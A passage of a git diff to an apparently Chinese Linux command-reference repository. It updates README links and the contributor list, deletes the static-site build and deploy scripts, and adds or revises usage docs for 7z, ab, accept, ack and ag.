[鸟哥的linux私房菜](http://linux.vbird.org/) - 非常适合Linux入门初学者看的教程。 - [Linux公社](http://www.linuxidc.com/) - Linux相关的新闻、教程、主题、壁纸都有。 - [Linux Today](http://www.linuxde.net) - Linux新闻资讯发布,Linux职业技术学习!。 +- [X-CMD](https://www.x-cmd.com/) - Shell + AWK 为核心增强原生命令输出以及交互体验,各种命令以及现代化软件包的介绍和使用教程,每日科技新闻资讯,欢迎浏览关注! ### 知识相关 - [Linux思维导图整理](http://www.jianshu.com/p/59f759207862) - [Linux初学者进阶学习资源整理](http://www.jianshu.com/p/fe2a790b41eb) -- [Linux 基础入门(新版)](https://www.shiyanlou.com/courses/1) +- [Linux 新手入门(动手实验)](https://labex.io/zh/courses/linux-for-noobs) - [【译】Linux概念架构的理解](http://www.jianshu.com/p/c5ae8f061cfe) [En](http://oss.org.cn/ossdocs/linux/kernel/a1/index.html) - [Linux 守护进程的启动方法](http://www.ruanyifeng.com/blog/2016/02/linux-daemon.html) -- [Linux编程之内存映射](https://www.shiyanlou.com/questions/2992) - [Linux知识点小结](https://blog.huachao.me/2016/1/Linux%E7%9F%A5%E8%AF%86%E7%82%B9%E5%B0%8F%E7%BB%93/) - [10大白帽黑客专用的 Linux 操作系统](https://linux.cn/article-6971-1.html) ### 软件工具 - [超赞的Linux软件](https://www.gitbook.com/book/alim0x/awesome-linux-software-zh_cn/details) Github仓库[Zh](https://github.com/alim0x/Awesome-Linux-Software-zh_CN) [En](https://github.com/VoLuong/Awesome-Linux-Software) -- [程序员喜欢的9款最佳的Linux文件比较工具](http://os.51cto.com/art/201607/513796.htm) -- [提高 Linux 开发效率的 5 个工具](http://www.codeceo.com/article/5-linux-productivity-tools.html) -- [你要了解的11款面向Linux系统的一流备份实用工具](http://os.51cto.com/art/201603/508027.htm) -- [16个很有用的在线工具](http://www.simlinux.com/archives/264.html) -- Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) - - [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”,可以查看PDF,还支持各种漫画书格式 - - [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 - - [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 - - [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 - - [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 - - [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 - - [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 - - [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件,广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 + +Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) + +- [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”,可以查看PDF,还支持各种漫画书格式 +- [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 +- [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 +- [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 +- [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 +- [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 +- [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 +- [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件,广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 ### 中国开源镜像站点 @@ -196,13 +420,10 @@ yes - 搜狐开源镜像站:http://mirrors.sohu.com/ - 北京交通大学:http://mirror.bjtu.edu.cn/ \<教育网荐\> - 兰州大学:http://mirror.lzu.edu.cn/ \<西北高校FTP搜索引擎\> -- 厦门大学:http://mirrors.xmu.edu.cn/ - 上海交通大学:http://ftp.sjtu.edu.cn/ - 清华大学:http://mirrors.tuna.tsinghua.edu.cn/ - - http://mirrors6.tuna.tsinghua.edu.cn/ - http://mirrors4.tuna.tsinghua.edu.cn/ - 中国科学技术大学:http://mirrors.ustc.edu.cn/ - - http://ipv4.ustc.edu.cn/ \<教育网、电信\> - http://ipv6.ustc.edu.cn/ \ - 东北大学:http://mirror.neu.edu.cn/ - 浙江大学:http://mirrors.zju.edu.cn/ @@ -220,3 +441,211 @@ yes - [Game Drift Linux](http://gamedrift.org/) [下载地址](http://gamedrift.org/Download.html) - [Solus](https://solus-project.com) [下载地址](https://solus-project.com/download/) - [Manjaro Gaming Edition (mGAMe)](https://sourceforge.net/projects/mgame/) [下载地址](https://sourceforge.net/projects/mgame/) + +## Team + +[![小弟调调™](https://github.com/jaywcjlove.png?size=100)](https://github.com/jaywcjlove) | [![ZhuangZhu-74](https://github.com/ZhuangZhu-74.png?size=100)](https://github.com/ZhuangZhu-74) | [![Huck Huang](https://github.com/huckhuang.png?size=100)](https://github.com/huckhuang) +---|---|--- +[小弟调调™](http://wangchujiang.com) | [ZhuangZhu-74](https://github.com/ZhuangZhu-74) | [Huck Huang](https://github.com/huckhuang) + +## 感谢所有贡献者 + +一如既往,感谢我们出色的贡献者! + + +小弟调调 +ZhuangZhu-74 +Mend Renovate +Huck Huang +lutixiaya +L +圆头圆脑 +clay-wangzhi +Glett +烟草的香味 +Jayin Tang +丛林意志 +JiangHuDao +Zijing Zhang +Fubin Zhang +__FresHmaN +谈笑风生间 +ernest +dulltackle +zyy2477 +rgshare +loverainye +Jeremy2214 +MioMuse +SteveLauC +James Wang +Shan Chenyu +Xrtero +YEUNGCHIE +duzhuoshanwai +lavaicer +alfred +Qliangw +沙漠之子 +Wang Yujia +永恒 +Shell +xhal +will +VVatt +jcdj666 +gggwvg +Dazhuangw +Alterem +YH +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +KrisMagical +Atri +FunKeen +BingCoke +Ein Verne +NanoNova +kassadin +juemuren4449 +jqz3.tech +illmons +hululu1068 +huangyao +kmephistoh +leo +lewis1573 +linuxwd +Ricardowang +cole +dufu +miniwater +Jack +Forever121 +cxalc +dayday +Deny +dongpohezui +ecjtusbs +focksor +gang.yang +gedune +geekeryy +gesty +ghy +githubwxz +hanwei +gcluffy +hotdogc1017 +noodles2hg +zyimm +七朔 +孤城落寞 +尘埃 +Wei Xu +Loofra +扶苏如是 +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +bycs +Yidan Wang +oliver +rexlin600 +sfwwslm +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +waiwai +weibk +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 +Jack.A.Black +Jelly +Nexchard +Karl Horky +LaudOak +Legend +LexsionLee +hengli +Lin Wuxian +LinuxZilong +Lix +Lucien +Wang +mwei +Marnm +XBG +0x_000 +AlenPann +azroy +Cui Yang +DYH1319 +DaYangtuo247 +Danny +Lucas Zhao +Divenire +Dongyan Qian +Everything-is-one +Frankie +Guiying Li +Hang +重劍無鋒 +HighScorePlayer +Huntout Zhang +Xiaodong DENG +Xonline-Tech +Xu Chunyang +Yan Sheng +Yunbin Liu +0Knot (0KN) +Zlanghu +One Person’s Revelry +amit794 +Ashine +azureology +bell +bestlaw66 +brinkqiang +c2ch +chaofan +MinsonLee +Mystic +Q.Ben Zheng +Ray Yee +Rining Wu +Robigus +Rocher +殇 +SMVirus +SevenSteven +Azolla +RoachZhao +Spaghetti-C +SunX +T-TRz879 +Na Meng +Wingrez + + + + +贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 + +## License + +Licensed under the MIT License. diff --git a/assets/dash-icon.png b/assets/dash-icon.png new file mode 100644 index 00000000000..4d80bd75638 Binary files /dev/null and b/assets/dash-icon.png differ diff --git a/assets/netlify.png b/assets/netlify.png new file mode 100644 index 00000000000..b874b04c708 Binary files /dev/null and b/assets/netlify.png differ diff --git a/assets/vercel.png b/assets/vercel.png new file mode 100644 index 00000000000..02d84e983c5 Binary files /dev/null and b/assets/vercel.png differ diff --git a/build/build.js b/build/build.js deleted file mode 100644 index a6d84fe2053..00000000000 --- a/build/build.js +++ /dev/null @@ -1,309 +0,0 @@ -const path = require('path'); -const ejs = require('ejs'); -const FS = require('fs-extra'); -const marked = require('marked'); -const stylus = require('stylus'); -const Prism = require('prismjs'); -const loadLanguages = require('prismjs/components/'); -const UglifyJS = require("uglify-js"); -const colors = require('colors-cli/toxic'); - -const renderer = new marked.Renderer(); -renderer.heading = (text, level) => { - if (/[\u4E00-\u9FA5]/i.test(text)) { - return `${text}`; - } else { - const escapedText = text.toLowerCase().replace(/[^\w]+/g, '-'); - return `${text}`; - } -} - -marked.setOptions({ - renderer: renderer, - pedantic: false, - gfm: true, - tables: true, - breaks: false, - sanitize: false, - smartLists: true, - smartypants: false, - xhtml: false, - highlight: (code, lang, callback) => { - if (/(tex)$/.test(lang)) lang = 'latex'; - if (/(h)$/.test(lang)) lang = 'c'; - if (/(js)$/.test(lang)) lang = 'javascript'; - if (/(tsx)$/.test(lang)) lang = 'jsx'; - if (/(bat)$/.test(lang)) lang = 'batch'; - if (/(py)$/.test(lang)) lang = 'python'; - if (/(rb)$/.test(lang)) lang = 'ruby'; - if (/(gitconfig|editorconfig|gitmodules)$/.test(lang)) lang = 'ini'; - if (/(yml)$/.test(lang)) lang = 'yaml'; - if (/(styl)$/.test(lang)) lang = 'stylus'; - if (/(stylelintrc|postcssrc)$/.test(lang)) lang = 'json'; - if (/(sh|shell|bash|bats|cgi|command|fcgi|ksh|sh.in|tmux|tool|zsh|bash_history|bash_logout|bash_profile|bashrc|cshrc|login|profile|zlogin|zlogout|zprofile|zshenv|zshrc)$/.test(lang)) lang = 'bash'; - if (/(ps1|psm1)$/.test(lang)) lang = 'powershell'; - if (/^(html|htm|xml|ejs)/.test(lang)) lang = 'html'; - lang = lang ? lang : 'bash'; - loadLanguages([lang]); - let html = code; - if (Prism.languages[lang]) { - html = Prism.highlight(code, Prism.languages[lang], lang); - html.toString(); - html = html.replace(/\$/g, '$') - } - return callback('', html); - } -}); - -const deployDir = path.resolve(process.cwd(), '.deploy'); -const faviconPath = path.resolve(process.cwd(), 'template', 'img', 'favicon.ico'); -const rootIndexJSPath = path.resolve(process.cwd(), 'template', 'js', 'index.js'); -const dataJsonPath = path.resolve(process.cwd(), 'dist', 'data.json'); -const cssPath = path.resolve(deployDir, 'css', 'index.css'); - -let markdownIndexData = []; - -mkdirs(deployDir) - .then(dir => emptyDir(dir)) - .then(dir => { - ensureDir(path.resolve(dir, 'img')); - ensureDir(path.resolve(dir, 'js')); - ensureDir(path.resolve(dir, 'css')); - ensureDir(path.resolve(dir, 'c')); - }) - .then(() => FS.copySync(faviconPath, path.resolve(deployDir, 'img', 'favicon.ico'))) - .then(() => FS.readFileSync(rootIndexJSPath)) - .then((data) => { - FS.outputFileSync(path.resolve(deployDir, 'js', 'index.js'), UglifyJS.minify(data.toString()).code) - }) - .then(dir => readMarkdownPaths(path.resolve(process.cwd(), 'command'))) - .then(dirs => createDataJSON(dirs)) - .then(data => { - FS.outputFileSync(dataJsonPath, JSON.stringify(data.json)); - FS.outputFileSync(path.resolve(deployDir, 'js', 'dt.js'), `var linux_commands=${JSON.stringify(data.data)}`); - markdownIndexData = data.data; - }) - .then(() => createTmpToHTML( - path.resolve(process.cwd(), 'template', 'index.ejs'), - path.resolve(deployDir, 'index.html'), - { - p: '/index.html', - n: 'Linux命令搜索引擎', - d: '最专业的Linux命令大全,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。', - command_length: markdownIndexData.length - } - )) - .then(() => createTmpToHTML( - path.resolve(process.cwd(), 'template', 'list.ejs'), - path.resolve(deployDir, 'list.html'), - { - p: '/list.html', - n: '搜索', - d: '最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。', - command_length: markdownIndexData.length - } - )) - .then(() => createTmpToHTML( - path.resolve(process.cwd(), 'template', 'hot.ejs'), - path.resolve(deployDir, 'hot.html'), - { - p: '/hot.html', - n: '搜索', - d: '最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。', - arr: markdownIndexData, - command_length: markdownIndexData.length - } - )) - .then(() => { - markdownIndexData.forEach(async (item, idx) => { - item.command_length = markdownIndexData.length; - await createTmpToHTML( - path.resolve(process.cwd(), 'template', 'details.ejs'), - path.resolve(deployDir, 'c', `${item.n}.html`), - item, - path.resolve(process.cwd(), 'command'), - ); - }) - }) - .then(() => { - return createStylToCss( - path.resolve(process.cwd(), 'template', 'styl', 'index.styl'), - path.resolve(deployDir, 'css', 'index.css'), - ); - }) - .then((css) => FS.outputFileSync(cssPath, css)) - .then(() => console.log(` ${'→'.green} ${markdownIndexData.length}`)) - .catch((err) => { - if (err && err.message) { - console.log(`\n ERROR :> ${err.message.red_bt}\n`) - } - }); - -/** - * Create a directory - * @param {String} dir - */ -function mkdirs(dir) { - return new Promise((resolve, reject) => { - FS.ensureDir(dir, err => { - err ? reject(err) : resolve(dir); - }) - }); -} - -/** - * Empty a directory - * @param {String} dir - */ -function emptyDir(dir) { - return new Promise((resolve, reject) => { - FS.emptyDir(dir, err => { - err ? reject(err) : resolve(dir); - }) - }); -} - -/** - * Ensures that the directory exists. - * @param {String} dir - */ -function ensureDir(dir) { - return new Promise((resolve, reject) => { - try { - FS.ensureDirSync(dir); - resolve(dir); - } catch (err) { - reject(err); - } - }); -} - -/** - * [createStylToCss 生成CSS] - * @param {[type]} stylPath stylus path - * @param {[type]} cssPath css path - */ -function createStylToCss(stylPath) { - return new Promise((resolve, reject) => { - try { - const stylStr = FS.readFileSync(stylPath, 'utf8'); - stylus(stylStr.toString()) - .set('filename', stylPath) - .set('compress', true) - .render((err, css) => { - if (err) throw err; - resolve(css); - }); - } catch (err) { - reject(err); - } - }); -} - -/** - * - * @param {String} fromPath ejs path - * @param {String} toPath html path - */ -function createTmpToHTML(fromPath, toPath, desJson, mdPath) { - return new Promise((resolve, reject) => { - try { - let relative_path = ''; - const current_path = toPath.replace(new RegExp(`${deployDir}`), ''); - const tmpStr = FS.readFileSync(fromPath); - let mdPathName = ''; - if (mdPath) { - // CSS/JS 引用相对地址 - relative_path = '../'; - mdPathName = `/command/${desJson.n}.md`; - } - // 生成 HTML - let html = ejs.render(tmpStr.toString(), { - filename: fromPath, - relative_path, // 当前文件相对于根目录的相对路径 - md_path: mdPathName || '', // markdown 路径 - current_path, // 当前 html 路径 - describe: desJson ? desJson : {}, // 当前 md 的描述 - }, { filename: fromPath }); - - if (mdPath) { - const READMESTR = FS.readFileSync(path.resolve(mdPath, `${desJson.n}.md`)); - marked(READMESTR.toString(), (err, mdhtml) => { - if (err) return reject(err); - html = html.replace(/{{content}}/, mdhtml); - FS.outputFileSync(toPath, html); - console.log(` ${'→'.green} ${toPath.replace(process.cwd(), '')}`); - resolve(html); - }); - } else { - FS.outputFileSync(toPath, html); - console.log(` ${'→'.green} ${toPath.replace(process.cwd(), '')}`); - resolve(html); - } - } catch (err) { - reject(err); - } - }); -} - -/** - * Ensures that the directory exists. - * @param {String} pathArr - */ -function createDataJSON(pathArr) { - return new Promise((resolve, reject) => { - try { - const commandData = {}; - const indexes = []; - pathArr.forEach((mdPath, i) => { - const json = {} - const con = FS.readFileSync(mdPath); - const str = con.toString(); - let title = str.match(/[^===]+(?=[===])/g); - title = title[0] ? title[0].replace(/\n/g, '') : title[0]; - title = title.replace(/\r/, '') - // 命令名称 - json["n"] = title; - // 命令路径 - json["p"] = `/${path.basename(mdPath, '.md').replace(/\\/g, '/')}`; - // 命令描述 - let des = str.match(/\n==={1,}([\s\S]*?)##/i); - if (!des) { - throw `格式错误: ${mdPath}`; - } - des = des[1] ? des[1].replace(/\n/g, '') : des[1]; - des = des.replace(/\r/g, '') - json["d"] = des; - indexes.push(json); - commandData[title] = json; - }) - resolve({ - json: commandData, - data: indexes - }); - } catch (err) { - reject(err); - } - }); -} - -/** - * 返回 MD 所有路径的 Array - * @param {String} filepath - */ -function readMarkdownPaths(filepath) { - return new Promise((resolve, reject) => { - try { - let pathAll = []; - const files = FS.readdirSync(filepath); - for (let i = 0; i < files.length; i++) { - if (/\.md$/.test(files[i])) { - pathAll.push(path.join(filepath, files[i])); - } - } - resolve(pathAll); - } catch (err) { - reject(err); - } - }); -} diff --git a/build/deploy.js b/build/deploy.js deleted file mode 100644 index 59f731cbcd5..00000000000 --- a/build/deploy.js +++ /dev/null @@ -1,21 +0,0 @@ -const ghpages = require('gh-pages'); -const loading = require('loading-cli'); -const path = require('path'); -const fs = require('fs'); -const color = require('colors-cli/toxic'); - -const deploy_path = path.join(process.cwd(), '.deploy'); - -if (fs.existsSync(deploy_path)) { - const load = loading(' Pushing code!!') - load.start(); - ghpages.publish(deploy_path, { - repo: 'git@github.com:jaywcjlove/linux-command.git', - branch: 'gh-pages', - message: 'Linux command index, Compiler generation page ' + new Date() - }, (err) => { - if (err) return console.log(` → Err: ${err.message}`); - load.stop() - console.log(`\n\n Push success!!`.green); - }); -} diff --git a/command/7z.md b/command/7z.md new file mode 100644 index 00000000000..9a683a3389b --- /dev/null +++ b/command/7z.md @@ -0,0 +1,142 @@ +7z +=== + +拥有极高压缩比的开源压缩软件。 + +## 安装 + +在 Linux 中输入以下命令安装 7-Zip。 + +```bash +# Ubuntu 系统 +apt-get update +apt-get install p7zip-full -y + +# CentOS 参考:https://linuxconfig.org/how-to-install-p7zip-on-redhat-8 +sudo yum install epel-release +yum install p7zip p7zip-plugins + +``` + +## 实例 + +介绍几个常用场景:解压、压缩、查看(压缩包内容)。 + +1、将压缩文件 text.7z 在当前目录下解压缩。 + +```bash +7z x text.7z +``` + +2、将压缩文件 text.7z 在指定目录(/home/text)下解压缩。 + +```bash +# 注意 -o 用来指定解压缩文件存放目录,-o 后是没有空格的,直接接目录 +7z x text.7z -r -o/home/text +``` + +3、将压缩文件 text.7z 中的 `dir1/dir2` 和 `dir1/file1` 提取到在指定目录(/home/text)下(保持原有路径结构)。 + +```bash +# 注意 dir1/dir2,dir1/file1 为压缩包中文件或文件夹路径 +7z x text.7z dir1/dir2 dir1/file1 -o/home/text +``` + +4、将文件 /home/text 压缩成 text.7z。 + +```bash +7z a text.7z -r /home/text +``` + +5、查看压缩包 text.7z 内容,但不解压。 + +```bash +7z l text.7z +``` + +## help 信息翻译 + +```shell +使用方法: 7z <命令> [<开关>...] [...] + +<命令> + a : 添加文件到压缩包 + b : 基准测试 + d : 从压缩包中删除文件 + e : 从压缩包中提取文件(不使用目录名)。 + h : 计算文件的哈希值 + i : 显示支持的格式信息 + l : 列出压缩包的内容 + rn : 重命名压缩包中的文件 + t : 测试压缩包的完整性 + u : 更新压缩包中的文件 + x : 提取完整路径的文件 + +<开关> + -- : 停止对 - 开头的开关和 @ 开头的文件列表的解析,为了允许 7-Zip 使用以 - 和 @ 开头的文件名。 + -ai[r[-|0]]{@listfile|!wildcard} : 包括指定压缩包文件 + -ax[r[-|0]]{@listfile|!wildcard} : 排除指定压缩包文件 + -ao{a|s|t|u} : 设置覆写模式 + -aoa 覆盖所有现有文件,无提示。 + -aos 跳过提取现有文件。 + -aou 自动重命名提取的文件(例如,name.txt 将重命名为 name_1.txt)。 + -aot 自动重命名现有文件(例如,name.txt 将重命名为 name_1.txt)。 + -an : 禁用压缩包名称字段解析,必须与 -ai 开关一起使用。 + -bb[0-3] : 设置输出日志级别 + -bb0 禁用日志(默认)。 + -bb1 或 -bb 在日志中显示已处理文件的名称。 + -bb2 显示在压缩包文件中跳过的文件名称(对于 “提取” 操作)和重新打包的文件名称(对于 “添加” / “更新” 操作) + -bb3 显示 “添加” / “更新” 操作的其他操作(分析、复制)信息。 + -bd : 禁用进度指示器 + -bs{o|e|p}{0|1|2} : 设置输出/错误/进度行的输出流 + o 标准输出信息 + e 错误信息 + p 进度信息 + 0 禁用流 + 1 重定向到标准输出流 + 2 重定向到标准错误流 + -bt : 显示执行时间统计 + -i[r[-|0]]{@listfile|!wildcard} : 包括文件名 + -m{Parameters} : 设置压缩方法 + -mmt[N] : 设置 CPU 线程的数量 + -mx[N] : 设置压缩级别: -mx1 (最快) ... -mx9 (超强),-mx0(不压缩) + -o{Directory} : 设置输出目录 + -p{Password} : 设置密码 + -r[-|0] : 重新搜索子目录 + -sa{a|e|s} : 设置压缩包名称模式 + -scc{UTF-8|WIN|DOS} : 设置控制台输入/输出的字符集。 + -scs{UTF-8|UTF-16LE|UTF-16BE|WIN|DOS|{id}} : 设置列表文件的字符集。 + -scrc[CRC32|CRC64|SHA1|SHA256|*] : 为x、e、h命令设置哈希函数。 + -sdel : 压缩后删除文件 + -seml[.] : 通过电子邮件发送压缩包 + -sfx[{name}] : 创建 SFX 压缩包 + -si[{name}] : 从标准输入读取数据 + -slp : 设置大型页面模式 + -slt : 显示l(List)命令的技术信息 + -snh : 将硬链接存储为链接 + -snl : 将符号链接存储为链接 + -sni : 存储 NT 安全信息 + -sns[-] : 存储 NTFS 备用流 + -so : 向标准输出写数据 + -spd : 禁用文件名的通配符匹配 + -spe : 消除提取命令中根文件夹的重复。 + -spf[2] : 使用完全合格的文件路径 + -ssc[-] : 设置敏感的大小写模式 + -sse : 如果无法打开某些输入文件,则停止创建压缩包 + -ssp : 压缩包时不更改源文件的最后访问时间 + -ssw : 压缩共享文件 + -stl : 从最近修改的文件设置压缩包时间戳 + -stm{HexMask} : 设置 CPU 线程亲和力掩码(十六进制数字)。 + -stx{Type} : 排除压缩包类型 + -t{Type} : 设置压缩包的类型 + -u[-][p#][q#][r#][x#][y#][z#] [!newArchiveName] : 更新选项 + -v{Size}[b|k|m|g] : 创建卷 + -w[{path}] : 指定工作目录。空的路径意味着一个临时目录 + -x[r[-|0]]{@listfile|!wildcard} : 排除文件名。 + -y : 假设所有的查询都是肯定的 +``` + +## 官网 + +更多安装使用方法可以访问官网学习:[https://www.7-zip.org/](https://www.7-zip.org/) +或者可以访问简体中文网站:[https://sparanoid.com/lab/7z/](https://sparanoid.com/lab/7z/) diff --git a/command/ab.md b/command/ab.md index 66e3b352d26..8beb72dbf09 100644 --- a/command/ab.md +++ b/command/ab.md @@ -3,41 +3,140 @@ ab Apache服务器的性能测试工具 -## 补充说明 -**ab命令** 是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。 +## 安装 + +若系统未安装,使用以下命令安装 -### 语法 +```shell +# Ubuntu +sudo apt-get install apache2-utils + +# Centos +yum install httpd-tools ``` -ab(选项)(参数) + + +## 补充说明 + +**ab命令** 是一个测试你 Apache http 服务器的工具,你可以通过这个工具,指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。 + +### 语法 + +```shell +ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value +] [ -d ] [ -e csv-file ] [ -g gnuplot-file ] [ -h ] [ -H custom-header ] [ +-i ] [ -k ] [ -n requests ] [ -p POST-file ] [ -P proxy-auth-user‐ +name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type ] +[ -v verbosity] [ -V ] [ -w ] [ -x -attributes ] [ -X proxy[:port] +] [ -y -attributes ] [ -z
-attributes ] [http://]host‐ +name[:port]/path ``` -### 选项 +### 选项 ```shell --A:指定连接服务器的基本的认证凭据; --c:指定一次向服务器发出请求数; --C:添加cookie; --g:将测试结果输出为“gnuolot”文件; --h:显示帮助信息; --H:为请求追加一个额外的头; --i:使用“head”请求方式; --k:激活HTTP中的“keepAlive”特性; --n:指定测试会话使用的请求数; --p:指定包含数据的文件; --q:不显示进度百分比; --T:使用POST数据时,设置内容类型头; --v:设置详细模式等级; --w:以HTML表格方式打印结果; --x:以表格方式输出时,设置表格的属性; --X:使用指定的代理服务器发送请求; --y:以表格方式输出时,设置表格属性。 +-A auth-username:password + # 支持基本的验证证书,用户名和密码之间使用"冒号" : + # 分隔开,ab将以明文方式传送过去.不管服务器是不是需要 + # ,也就是说你的服务器需要支持401认证. + +-c concurrency + # 同时向服务器端发送的请求数目,默认状态下是一次 只执行一个http请求. + +-C cookie-name=value + # Add a Cookie: line to the request. The argument is typically in the + # form of a name=value pair. This field is repeatable. + +-d # Do not display the "percentage served within XX [ms] table". + # (legacy support). + +-e csv-file + # Write a Comma separated value (CSV) file which contains for each + # percentage (from 1% to 100%) the time (in milli seconds) it took to + # serve that percentage of the requests. This is usually more useful + # than the 'gnuplot' file; as the results are already 'binned'. + +-g gnuplot-file + # Write all measured values out as a 'gnuplot' or TSV (Tab separate + # values) file. This file can easily be imported into packages like + # Gnuplot, IDL, Mathematica, Igor or even Excel. The labels are on + # the first line of the file. +-h # 显示使用说明 +-H custom-header + # 向请求包追加附加的标题字串.此参数应该是有效的标题 行(header + # line)形式,通常使用冒号":"来分隔有效配对 (valid pair)例如 'Accept- + # Encoding: zip/zop;8 bit'; + +-i # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法 + +-k # 允许http KeepAlive ;也就是说执行多个请求在一个 http + # 会话当中,默认是不允许的也就是no KeepAlive啦;) + +-n requests + # 执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求 + # 当然了这样的测试结果也就没什么意义了 + +-p POST-file + # 测试程序也就是ab,将向Apache server发送带有HTTP POST 的请求. + +-P proxy-auth-username:password + # 当需要通过代理测试一台 HTTP 服务器的时候而你的代理 + # 又需要用户名密码验证,这时你可以使用这个选项,同样 + # 用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式 + # 发送出去,当然,前提是你的代理是处于407认证状态的 + +-q # When processing more than 150 requests, ab outputs a progress count + # on stderr every 10% or 100 requests or so. The -q flag will sup‐ + # press these messages. + +-s # When compiled in (ab -h will show you) use the SSL protected https + # rather than the http protocol. This feature is experimental and + # very rudimentary. You probably do not want to use it. + +-S # Do not display the median and standard deviation values, nor dis‐ + # play the warning/error messages when the average and median are + # more than one or two times the standard deviation apart. And de‐ + # fault to the min/avg/max values. (legacy support). + +-t timelimit + # 设置测试的时间的长短,使用这个选项ab将自动设置 + # 测试请求会话数目为50000,然后以你设置的时间为 + # 固定周期.默认状态下是没有时限的,也就是直到完成 + # 你所设置的请求数目为止. + +-T content-type + # 内容类型标头,使用在POST数据的时候. + +-v verbosity + # 设置冗余级别,4级打印出每个请求标头的详细信息, + # 3级打印出回应代码(例如,404,200),2级打印出警告 信息和指示消息 + +-V # 显示版本号并且退出 +-w # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框 + +-x -attributes + # 使用字串来描述表的属性,该属性字串应该插入到
+ +-X proxy[:port] + # Use a proxy server for the requests. + +-y -attributes + # 用于生成html表格每行的属性名 () + +-z
-attributes + # 用于生成html表格每列的属性名 () ``` -### 参数 +### 参数 主机:被测试主机。 - \ No newline at end of file +### 实例 + +```shell +# 10个并发, 请求500次 +ab -c 10 -n 500 https://www.qq.com/ +``` diff --git a/command/accept.md b/command/accept.md index 3edc635c3a4..09e9b24d3cd 100644 --- a/command/accept.md +++ b/command/accept.md @@ -1,19 +1,19 @@ accept === - + 指示打印系统接受发往指定目标打印机的打印任务 ## 补充说明 **accept命令** 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。 -### 语法 +### 语法 ``` accept(选项)(参数) ``` -### 选项 +### 选项 ``` -E:当连接到服务器时强制加密; @@ -21,9 +21,8 @@ accept(选项)(参数) -h:指定连接服务器名和端口号。 ``` -### 参数 +### 参数 目标:指定目标打印机。 - \ No newline at end of file diff --git a/command/ack.md b/command/ack.md index 0801b946e93..505be25ab16 100644 --- a/command/ack.md +++ b/command/ack.md @@ -14,10 +14,10 @@ apk install ack ## 参数 -这些参数在linux上的适用频率是相当高的,尤其是你用vim做为IDE的话 +这些参数在linux上的使用频率是相当高的,尤其是你用vim做为IDE的话 ```shell --c(统记)/ -i(忽略大小)/ -h(不显示名称)/ +-c(统计)/ -i(忽略大小)/ -h(不显示名称)/ -l(只显文件名)/ -n(加行号)/ -v(显示不匹配) ``` @@ -90,9 +90,9 @@ ack-grep -g hello.py$ # 查找正则匹配文件 ack-grep -g hello --sort-files # 查找然后排序 ``` -### File Inclusion/Exclusion +### File inclusion/exclusion -文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话,你会觉得这个有用。 +文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码时不小心命中日志中的某个关键字的话,你会觉得这个有用。 ```shell ack-grep --python hello # 查找所有python文件 diff --git a/command/ag.md b/command/ag.md new file mode 100644 index 00000000000..47e29043a2f --- /dev/null +++ b/command/ag.md @@ -0,0 +1,100 @@ +ag +=== + +ack 的升级版,C语言编写,更快更人性化 + +## 补充说明 + +> 摘自 项目的 Readme.md + +- 它比ack快一个数量级。 +- 它忽略了你的 `.gitignore` 和 `.hgignore` 中的文件模式。 +- 如果你的源码库里有你不想搜索的文件,只要把它们的模式添加到一个.ignore文件里。(*cough* *.min.js*cough*) +- 这个命令的名字比ack短33%,而且所有的键都在主行上! + +### 语法 + +```shell +ag [options] pattern [path ...] +ag [可选项] 匹配模式 [路径...] +``` + +### 选项 + +```shell +输出选项: + --ackmate 以 AckMate-parseable 的格式显示结果 + -A --after [LINES] 显示匹配行之后的行(默认2行) + -B --before [LINES] 显示匹配行之前的行(默认2行) + --[no]break 